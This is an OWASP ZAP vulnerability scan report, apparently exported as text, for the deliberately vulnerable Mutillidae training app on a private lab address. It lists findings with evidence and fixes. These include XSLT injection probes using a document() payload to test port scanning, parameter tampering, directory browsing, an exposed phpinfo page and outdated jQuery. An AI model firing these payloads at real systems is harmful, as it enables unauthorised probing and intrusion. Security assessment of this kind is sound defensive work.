Node Name	http://192.168.56.104/mutillidae/index.php (page)(add-to-your-blog-php-submit-button, blog_entry,csrf-token)
Method	POST
Attack	
Evidence	Table 'metasploit.blogs_table' doesn't exist
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=view-someones-blog.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(author,view-someones-blog-php-submit-button)
Method	POST
Attack	
Evidence	Table 'metasploit.accounts' doesn't exist
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=register.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(confirm_password,my_signature,password,register-php-submit-button,username)
Method	POST
Attack	
Evidence	Table 'metasploit.accounts' doesn't exist
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=login.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(login-php-submit-button,password,username)
Method	POST
Attack	
Evidence	Warning: Cannot modify header information - headers already sent by (output started at /var/www/mutillidae/process-login-attempt.php:97) in /var/www/mutillidae/index.php on line 148
Other Info	

URL	http://192.168.56.104/mutillidae/index.php?page=text-file-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(text-file-viewer-php-submit-button,textfile)
Method	POST
Attack	
Evidence	Warning : fopen() [<a >function.fopen<="" <b="" a>]:="" failed:="" getaddrinfo="" href="function.fopen" in="" known="" name="" not="" or="" php_network_getaddresses:="" service="">/var/www/mutillidae/text-file-viewer.php on line 115
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=text-file-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(text-file-viewer-php-submit-button,textfile)
Method	POST
Attack	
Evidence	Warning : fopen(2) [<a >function.fopen<="" <b="" a>]:="" directory="" failed="" file="" href="function.fopen" in="" no="" open="" or="" stream:="" such="" to="">/var/www/mutillidae/text-file-viewer.php on line 115
Other Info	
Instances	15
Solution	Review the source code of this page. Implement custom error pages. Consider implementing a mechanism to provide a unique error reference/identifier to the client (browser) while logging the details on the server side and not exposing them to the user.
Reference	
CWE Id	550
WASC Id	13
Plugin Id	90022

Medium	Content Security Policy (CSP) Header Not Set
Description	Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. CSP provides a set of standard HTTP headers that allow website owners to declare approved sources of content that browsers should be allowed to load on that page — covered types are JavaScript, CSS, HTML frames, fonts, images and embeddable objects such as Java applets, ActiveX, audio and video files.
URL	http://192.168.56.104/mutillidae/
Node Name	http://192.168.56.104/mutillidae/
Method	GET
Attack	
Evidence	
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=login.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	

Evidence	
Other Info	
URL	http://192.168.56.104/mutillidae/set-up-database.php
Node Name	http://192.168.56.104/mutillidae/set-up-database.php
Method	GET
Attack	
Evidence	
Other Info	
URL	http://192.168.56.104/robots.txt
Node Name	http://192.168.56.104/robots.txt
Method	GET
Attack	
Evidence	
Other Info	
URL	http://192.168.56.104/sitemap.xml
Node Name	http://192.168.56.104/sitemap.xml
Method	GET
Attack	
Evidence	
Other Info	
Instances	Systemic
Solution	Ensure that your web server, application server, load balancer, etc. is configured to set the Content-Security-Policy header.
Reference	https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html https://www.w3.org/TR/CSP/ https://w3c.github.io/webappsec-csp/ https://web.dev/articles/csp https://caniuse.com/#feat=contentsecuritypolicy https://content-security-policy.com/
CWE Id	693
WASC Id	15
Plugin Id	10038

Medium	Directory Browsing
Description	It is possible to view the directory listing. Directory listing may reveal hidden scripts, include files, backup source files, etc. which can be accessed to read sensitive information.
URL	http://192.168.56.104/mutillidae/documentation/
Node Name	http://192.168.56.104/mutillidae/documentation/
Method	GET

Attack	http://192.168.56.104/mutillidae/documentation/
Evidence	Parent Directory
Other Info	
URL	http://192.168.56.104/mutillidae/images/
Node Name	http://192.168.56.104/mutillidae/images/
Method	GET
Attack	http://192.168.56.104/mutillidae/images/
Evidence	Parent Directory
Other Info	
URL	http://192.168.56.104/mutillidae/javascript/
Node Name	http://192.168.56.104/mutillidae/javascript/
Method	GET
Attack	http://192.168.56.104/mutillidae/javascript/
Evidence	Parent Directory
Other Info	
URL	http://192.168.56.104/mutillidae/javascript/ddsmoothmenu/
Node Name	http://192.168.56.104/mutillidae/javascript/ddsmoothmenu/
Method	GET
Attack	http://192.168.56.104/mutillidae/javascript/ddsmoothmenu/
Evidence	Parent Directory
Other Info	
URL	http://192.168.56.104/mutillidae/styles/
Node Name	http://192.168.56.104/mutillidae/styles/
Method	GET
Attack	http://192.168.56.104/mutillidae/styles/
Evidence	Parent Directory
Other Info	
Instances	Systemic
Solution	Disable directory browsing. If this is required, make sure the listed files does not induce risks.
Reference	https://httpd.apache.org/docs/current/mod/core.html#options
CWE Id	548
WASC Id	48
Plugin Id	0
Medium	HTTP Only Site
Description	The site is only served under HTTP and not HTTPS.

URL	http://192.168.56.104/mutillidae/?page=register.php
Node Name	https://192.168.56.104/mutillidae/
Method	GET
Attack	
Evidence	
Other Info	Failed to connect. ZAP attempted to connect via: https://192.168.56.104/mutillidae/
Instances	1
Solution	Configure your web or application server to use SSL (https).
Reference	https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html https://letsencrypt.org/
CWE Id	311
WASC Id	4
Plugin Id	10106

Medium	Hidden File Found
Description	A sensitive file was identified as accessible or available. This may leak administrative, configuration, or credential information which can be leveraged by a malicious individual to further attack the system or conduct social engineering efforts.
URL	http://192.168.56.104/mutillidae/phpinfo.php
Node Name	http://192.168.56.104/mutillidae/phpinfo.php
Method	GET
Attack	
Evidence	HTTP/1.1 200 OK
Other Info	phpinfo
Instances	1
Solution	Consider whether or not the component is actually required in production, if it isn't then disable it. If it is then ensure access to it requires appropriate authentication and authorization, or limit exposure to internal systems or specific source IPs, etc.
Reference	https://blog.hboeck.de/archives/892-Introducing-Snallygaster-a-Tool-to-Scan-for-Secrets-on-Web-Servers.html https://www.php.net/manual/en/function.phpinfo.php
CWE Id	538
WASC Id	13
Plugin Id	40035

Medium	Missing Anti-clickjacking Header
Description	The response does not protect against 'ClickJacking' attacks. It should include either Content-Security-Policy with 'frame-ancestors' directive or X-Frame-Options.
URL	http://192.168.56.104/mutillidae/
Node Name	http://192.168.56.104/mutillidae/
Method	GET
Attack	

Evidence	
Other Info	
URL	http://192.168.56.104/mutillidae/?page=add-to-your-blog.php
Node Name	http://192.168.56.104/mutillidae/ (page)
Method	GET
Attack	
Evidence	
Other Info	
URL	http://192.168.56.104/mutillidae/index.php
Node Name	http://192.168.56.104/mutillidae/index.php
Method	GET
Attack	
Evidence	
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=login.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	
Other Info	
URL	http://192.168.56.104/mutillidae/set-up-database.php
Node Name	http://192.168.56.104/mutillidae/set-up-database.php
Method	GET
Attack	
Evidence	
Other Info	
Instances	Systemic
Solution	Modern Web browsers support the Content-Security-Policy and X-Frame-Options HTTP headers. Ensure one of them is set on all web pages returned by your site/app. If you expect the page to be framed only by pages on your server (e.g. it's part of a FRAMESET) then you'll want to use SAMEORIGIN, otherwise if you never expect the page to be framed, you should use DENY. Alternatively consider implementing Content Security Policy's "frame-ancestors" directive.
Reference	https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/X-Frame-Options
CWE Id	1021
WASC Id	15
Plugin Id	10020

Medium	Parameter Tampering
Description	Parameter manipulation caused an error page or Java stack trace to be displayed. This indicated lack of exception handling and potential areas for further exploit.
URL	http://192.168.56.104/mutillidae/?page=%40
Node Name	http://192.168.56.104/mutillidae/ (page)
Method	GET
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?choice=nmap&initials=ZAP&page=%40&user-poll-php-submit-button=Submit+Vote
Node Name	http://192.168.56.104/mutillidae/index.php (choice,initials,page,user-poll-php-submit-button)
Method	GET
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?do=toggle-hints&page=%40
Node Name	http://192.168.56.104/mutillidae/index.php (do,page)
Method	GET
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?forwardurl=10&page=%40
Node Name	http://192.168.56.104/mutillidae/index.php (forwardurl,page)
Method	GET
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%40
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%40&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP

Node Name	http://192.168.56.104/mutillidae/index.php (page,password,user-info-php-submit-button,username)
Method	GET
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%40&username=anonymous
Node Name	http://192.168.56.104/mutillidae/index.php (page,username)
Method	GET
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?=
Node Name	http://192.168.56.104/mutillidae/index.php ()(login-php-submit-button,password,username)
Method	POST
Attack	
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%40
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	POST
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=source-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(CSRFToken,page,phpfile,source-file-viewer-php-submit-button)
Method	POST
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=source-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(CSRFToken,page,source-file-viewer-php-submit-button)
Method	POST
Attack	
Evidence	on line

Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%40
Node Name	http://192.168.56.104/mutillidae/index.php (page)(DOMStorageItem,DOMStorageKey,SessionStorageType)
Method	POST
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%40
Node Name	http://192.168.56.104/mutillidae/index.php (page)(add-to-your-blog-php-submit-button, blog_entry,csrf-token)
Method	POST
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%40
Node Name	http://192.168.56.104/mutillidae/index.php (page)(author,view-someones-blog-php-submit-button)
Method	POST
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%40
Node Name	http://192.168.56.104/mutillidae/index.php (page)(background_color,set-background-color-php-submit-button)
Method	POST
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%40
Node Name	http://192.168.56.104/mutillidae/index.php (page)(confirm_password,my_signature,password,register-php-submit-button,username)
Method	POST
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%40
Node Name	http://192.168.56.104/mutillidae/index.php (page)(dns-lookup-php-submit-button,target_host)
Method	POST

Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=login.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(login-php-submit-button,password)
Method	POST
Attack	
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=login.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(login-php-submit-button,username)
Method	POST
Attack	
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(page,password,user-info-php-submit-button,username)
Method	POST
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%40
Node Name	http://192.168.56.104/mutillidae/index.php (page)(text-file-viewer-php-submit-button,textfile)
Method	POST
Attack	@
Evidence	on line
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=text-file-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(text-file-viewer-php-submit-button,textfile)
Method	POST
Attack	@
Evidence	on line
Other Info	
Instances	22

Solution	Identify the cause of the error and fix it. Do not trust client side input and enforce a tight check in the server side. Besides, catch the exception properly. Use a generic 500 error page for internal server error.
Reference	
CWE Id	472
WASC Id	20
Plugin Id	40008

Medium	Vulnerable JS Library
Description	The identified library appears to be vulnerable.
URL	http://192.168.56.104/mutillidae/javascript/ddsmoothmenu/jquery.min.js
Node Name	http://192.168.56.104/mutillidae/javascript/ddsmoothmenu/jquery.min.js
Method	GET
Attack	
Evidence	* jQuery JavaScript Library v1.3.2
Other Info	The identified library jquery, version 1.3.2 is vulnerable. CVE-2011-4969 CVE-2020-11023 CVE-2020-11022 CVE-2019-11358 CVE-2020-7656 CVE-2012-6708 https://nvd.nist.gov/vuln/detail/CVE-2012-6708 http://research.insecurelabs.org/jquery/test/ https://nvd.nist.gov/vuln/detail/CVE-2019-11358 https://github.com/jquery/jquery.com/issues/162 https://nvd.nist.gov/vuln/detail/CVE-2020-7656 https://bugs.jquery.com/ticket/9521 http://bugs.jquery.com/ticket/11290 https://research.insecurelabs.org/jquery/test/ https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/ https://github.com/advisories/GHSA-q4m3-2j7h-f7xw https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/ https://nvd.nist.gov/vuln/detail/CVE-2011-4969
Instances	1
Solution	Upgrade to the latest version of the affected library.
Reference	https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/
CWE Id	1395
WASC Id	
Plugin Id	10003

Medium	XSLT Injection
Description	Injection using XSL transformations may be possible, and may allow an attacker to read system information, read and write files, or execute arbitrary code.
URL	http://192.168.56.104/mutillidae/?page=%3Cxsl%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.56.104%3A22%27%29%22%2F%3E
Node Name	http://192.168.56.104/mutillidae/ (page)
Method	GET
Attack	<xsl:value-of select="document('http://192.168.56.104:22')"/>
Evidence	failed to open stream
Other Info	Port scanning may be possible.
URL	http://192.168.56.104/mutillidae/index.php?page=%3Cxsl%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.56.104%3A22%27%29%22%2F%3E
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET

Attack	<xsl:value-of select="document('http://192.168.56.104:22')"/>
Evidence	failed to open stream
Other Info	Port scanning may be possible.
URL	http://192.168.56.104/mutillidae/index.php?page=%3Cxsl%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.56.104%3A22%27%29%22%2F%3E&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Node Name	http://192.168.56.104/mutillidae/index.php (page,password,user-info-php-submit-button, username)
Method	GET
Attack	<xsl:value-of select="document('http://192.168.56.104:22')"/>
Evidence	failed to open stream
Other Info	Port scanning may be possible.
URL	http://192.168.56.104/mutillidae/index.php?page=%3Cxsl%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.56.104%3A22%27%29%22%2F%3E&username=anonymous
Node Name	http://192.168.56.104/mutillidae/index.php (page,username)
Method	GET
Attack	<xsl:value-of select="document('http://192.168.56.104:22')"/>
Evidence	failed to open stream
Other Info	Port scanning may be possible.
URL	http://192.168.56.104/mutillidae/index.php?page=%3Cxsl%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.56.104%3A22%27%29%22%2F%3E
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	POST
Attack	<xsl:value-of select="document('http://192.168.56.104:22')"/>
Evidence	failed to open stream
Other Info	Port scanning may be possible.
URL	http://192.168.56.104/mutillidae/index.php?page=source-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(CSRFToken,page,phpfile,source-file-viewer-php-submit-button)
Method	POST
Attack	<xsl:value-of select="document('http://192.168.56.104:22')"/>
Evidence	failed to open stream
Other Info	Port scanning may be possible.
URL	http://192.168.56.104/mutillidae/index.php?page=%3Cxsl%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.56.104%3A22%27%29%22%2F%3E
Node Name	http://192.168.56.104/mutillidae/index.php (page)(CSRFToken,page,phpfile,source-file-viewer-php-submit-button)
Method	POST
Attack	<xsl:value-of select="document('http://192.168.56.104:22')"/>
Evidence	failed to open stream

Other Info	Port scanning may be possible.
URL	http://192.168.56.104/mutillidae/index.php?page=%3Cxml%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.56.104%3A22%27%29%22%2F%3E
Node Name	http://192.168.56.104/mutillidae/index.php (page)(DOMStorageItem,DOMStorageKey,SessionStorageType)
Method	POST
Attack	<xml:value-of select="document('http://192.168.56.104:22')"/>
Evidence	failed to open stream
Other Info	Port scanning may be possible.
URL	http://192.168.56.104/mutillidae/index.php?page=%3Cxml%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.56.104%3A22%27%29%22%2F%3E
Node Name	http://192.168.56.104/mutillidae/index.php (page)(add-to-your-blog-php-submit-button, blog_entry,csrf-token)
Method	POST
Attack	<xml:value-of select="document('http://192.168.56.104:22')"/>
Evidence	failed to open stream
Other Info	Port scanning may be possible.
URL	http://192.168.56.104/mutillidae/index.php?page=%3Cxml%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.56.104%3A22%27%29%22%2F%3E
Node Name	http://192.168.56.104/mutillidae/index.php (page)(author,view-someones-blog-php-submit-button)
Method	POST
Attack	<xml:value-of select="document('http://192.168.56.104:22')"/>
Evidence	failed to open stream
Other Info	Port scanning may be possible.
URL	http://192.168.56.104/mutillidae/index.php?page=%3Cxml%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.56.104%3A22%27%29%22%2F%3E
Node Name	http://192.168.56.104/mutillidae/index.php (page)(background_color,set-background-color-php-submit-button)
Method	POST
Attack	<xml:value-of select="document('http://192.168.56.104:22')"/>
Evidence	failed to open stream
Other Info	Port scanning may be possible.
URL	http://192.168.56.104/mutillidae/index.php?page=%3Cxml%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.56.104%3A22%27%29%22%2F%3E
Node Name	http://192.168.56.104/mutillidae/index.php (page)(confirm_password,my_signature,password,register-php-submit-button,username)
Method	POST
Attack	<xml:value-of select="document('http://192.168.56.104:22')"/>
Evidence	failed to open stream
Other Info	Port scanning may be possible.

URL	http://192.168.56.104/mutillidae/index.php?page=%3Cxml%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.56.104%3A22%27%29%22%2F%3E
Node Name	http://192.168.56.104/mutillidae/index.php (page)(dns-lookup-php-submit-button, target_host)
Method	POST
Attack	<xml:value-of select="document('http://192.168.56.104:22')"/>
Evidence	failed to open stream
Other Info	Port scanning may be possible.
URL	http://192.168.56.104/mutillidae/index.php?page=%3Cxml%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.56.104%3A22%27%29%22%2F%3E
Node Name	http://192.168.56.104/mutillidae/index.php (page)(login-php-submit-button,password, username)
Method	POST
Attack	<xml:value-of select="document('http://192.168.56.104:22')"/>
Evidence	failed to open stream
Other Info	Port scanning may be possible.
Instances	14
Solution	Sanitize and analyze every user input coming from any client-side.
Reference	https://book.hacktricks.wiki/en/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.html
CWE Id	91
WASC Id	23
Plugin Id	90017

Low	Cookie No HttpOnly Flag
Description	A cookie has been set without the HttpOnly flag, which means that the cookie can be accessed by JavaScript. If a malicious script can be run on this page then the cookie will be accessible and can be transmitted to another site. If this is a session cookie then session hijacking may be possible.
URL	http://192.168.56.104/mutillidae/
Node Name	http://192.168.56.104/mutillidae/
Method	GET
Attack	
Evidence	Set-Cookie: PHPSESSID
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?do=toggle-hints&page=home.php
Node Name	http://192.168.56.104/mutillidae/index.php (do,page)
Method	GET
Attack	
Evidence	Set-Cookie: showhints
Other Info	
Instances	2

Solution	Ensure that the HttpOnly flag is set for all cookies.
Reference	https://owasp.org/www-community/HttpOnly
CWE Id	1004
WASC Id	13
Plugin Id	10010

Low	Cookie without SameSite Attribute
Description	A cookie has been set without the SameSite attribute, which means that the cookie can be sent as a result of a 'cross-site' request. The SameSite attribute is an effective counter measure to cross-site request forgery, cross-site script inclusion, and timing attacks.
URL	http://192.168.56.104/mutillidae/
Node Name	http://192.168.56.104/mutillidae/
Method	GET
Attack	
Evidence	Set-Cookie: PHPSESSID
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?do=toggle-hints&page=home.php
Node Name	http://192.168.56.104/mutillidae/index.php (do,page)
Method	GET
Attack	
Evidence	Set-Cookie: showhints
Other Info	
Instances	2
Solution	Ensure that the SameSite attribute is set to either 'lax' or ideally 'strict' for all cookies.
Reference	https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-cookie-same-site
CWE Id	1275
WASC Id	13
Plugin Id	10054

Low	In Page Banner Information Leak
Description	The server returned a version banner string in the response content. Such information leaks may allow attackers to further target specific issues impacting the product and version in use.
URL	http://192.168.56.104/robots.txt
Node Name	http://192.168.56.104/robots.txt
Method	GET
Attack	
Evidence	Apache/2.2.8
Other Info	There is a chance that the highlight in the finding is on a value in the headers, versus the actual matched string in the response body.
URL	http://192.168.56.104/script
Node	

Name	http://192.168.56.104/script
Method	GET
Attack	
Evidence	Apache/2.2.8
Other Info	There is a chance that the highlight in the finding is on a value in the headers, versus the actual matched string in the response body.
URL	http://192.168.56.104/sitemap.xml
Node Name	http://192.168.56.104/sitemap.xml
Method	GET
Attack	
Evidence	Apache/2.2.8
Other Info	There is a chance that the highlight in the finding is on a value in the headers, versus the actual matched string in the response body.
URL	http://192.168.56.104/var/www/mutillidae/index.php
Node Name	http://192.168.56.104/var/www/mutillidae/index.php
Method	GET
Attack	
Evidence	Apache/2.2.8
Other Info	There is a chance that the highlight in the finding is on a value in the headers, versus the actual matched string in the response body.
URL	http://192.168.56.104/var/www/mutillidae/show-log.php
Node Name	http://192.168.56.104/var/www/mutillidae/show-log.php
Method	GET
Attack	
Evidence	Apache/2.2.8
Other Info	There is a chance that the highlight in the finding is on a value in the headers, versus the actual matched string in the response body.
Instances	Systemic
Solution	Configure the server to prevent such information leaks. For example: Under Tomcat this is done via the "server" directive and implementation of custom error pages. Under Apache this is done via the "ServerSignature" and "ServerTokens" directives.
Reference	https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/
CWE Id	497
WASC Id	13
Plugin Id	10009

Low	Information Disclosure - Debug Error Messages
Description	The response appeared to contain common error messages returned by platforms such as ASP.NET, and Web-servers such as IIS and Apache. You can configure the list of common debug messages.
URL	http://192.168.56.104/mutillidae/

Node Name	http://192.168.56.104/mutillidae/
Method	GET
Attack	
Evidence	PHP error
Other Info	
URL	http://192.168.56.104/mutillidae/index.php
Node Name	http://192.168.56.104/mutillidae/index.php
Method	GET
Attack	
Evidence	PHP error
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=home.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	PHP error
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=change-log.htm
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	php error
Other Info	
Instances	4
Solution	Disable debugging messages before pushing to production.
Reference	
CWE Id	1295
WASC Id	13
Plugin Id	10023

Low	Private IP Disclosure
Description	A private IP (such as 10.x.x.x, 172.x.x.x, 192.168.x.x) or an Amazon EC2 private hostname (for example, ip-10-0-56-78) has been found in the HTTP response body. This information might be helpful for further attacks targeting internal systems.
URL	http://192.168.56.104/mutillidae/?page=view-someones-blog.php
Node Name	http://192.168.56.104/mutillidae/ (page)
Method	GET

Attack	
Evidence	192.168.56.101
Other Info	192.168.56.101
URL	http://192.168.56.104/mutillidae/index.php?page=view-someones-blog.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	192.168.56.101
Other Info	192.168.56.101
Instances	2
Solution	Remove the private IP address from the HTTP response body. For comments, use JSP/ASP /PHP comment instead of HTML/JavaScript comment which can be seen by client browsers.
Reference	https://datatracker.ietf.org/doc/html/rfc1918
CWE Id	497
WASC Id	13
Plugin Id	2

Low	Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s)
Description	The web/application server is leaking information via one or more "X-Powered-By" HTTP response headers. Access to such information may facilitate attackers identifying other frameworks/components your web application is reliant upon and the vulnerabilities such components may be subject to.
URL	http://192.168.56.104/mutillidae/
Node Name	http://192.168.56.104/mutillidae/
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
Other Info	
URL	http://192.168.56.104/mutillidae/?page=add-to-your-blog.php
Node Name	http://192.168.56.104/mutillidae/ (page)
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?do=toggle-security&page=home.php
Node Name	http://192.168.56.104/mutillidae/index.php (do,page)
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10

Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=login.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
Other Info	
URL	http://192.168.56.104/mutillidae/set-up-database.php
Node Name	http://192.168.56.104/mutillidae/set-up-database.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
Other Info	
Instances	Systemic
Solution	Ensure that your web server, application server, load balancer, etc. is configured to suppress "X-Powered-By" headers.
Reference	https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework https://www.troyhunt.com/shhh-dont-let-your-response-headers/
CWE Id	497
WASC Id	13
Plugin Id	10037

Low	Server Leaks Version Information via "Server" HTTP Response Header Field
Description	The web/application server is leaking version information via the "Server" HTTP response header. Access to such information may facilitate attackers identifying other vulnerabilities your web/application server is subject to.
URL	http://192.168.56.104/mutillidae/
Node Name	http://192.168.56.104/mutillidae/
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?do=toggle-security&page=home.php
Node Name	http://192.168.56.104/mutillidae/index.php (do,page)
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2

Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=home.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
Other Info	
URL	http://192.168.56.104/robots.txt
Node Name	http://192.168.56.104/robots.txt
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
Other Info	
URL	http://192.168.56.104/sitemap.xml
Node Name	http://192.168.56.104/sitemap.xml
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
Other Info	
Instances	Systemic
Solution	Ensure that your web server, application server, load balancer, etc. is configured to suppress the "Server" header or provide generic details.
Reference	https://httpd.apache.org/docs/current/mod/core.html#servertokens https://learn.microsoft.com/en-us/previous-versions/msp-n-p/ff648552(v=pandp.10) https://www.troyhunt.com/shhh-dont-let-your-response-headers/
CWE Id	497
WASC Id	13
Plugin Id	10036

Low	X-Content-Type-Options Header Missing
Description	The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'. This allows older versions of Internet Explorer and Chrome to perform MIME-sniffing on the response body, potentially causing the response body to be interpreted and displayed as a content type other than the declared content type. Current (early 2014) and legacy versions of Firefox will use the declared content type (if one is set), rather than performing MIME-sniffing.
URL	http://192.168.56.104/mutillidae/
Node Name	http://192.168.56.104/mutillidae/
Method	GET
Attack	

Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://192.168.56.104/mutillidae/?page=add-to-your-blog.php
Node Name	http://192.168.56.104/mutillidae/ (page)
Method	GET
Attack	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://192.168.56.104/mutillidae/index.php
Node Name	http://192.168.56.104/mutillidae/index.php
Method	GET
Attack	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://192.168.56.104/mutillidae/index.php?page=home.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
URL	http://192.168.56.104/mutillidae/set-up-database.php
Node Name	http://192.168.56.104/mutillidae/set-up-database.php
Method	GET
Attack	
Evidence	
Other Info	This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type. At "High" threshold this scan rule will not alert on client or server error responses.
Instances	Systemic
Solution	Ensure that the application/web server sets the Content-Type header appropriately, and that it sets the X-Content-Type-Options header to 'nosniff' for all web pages.

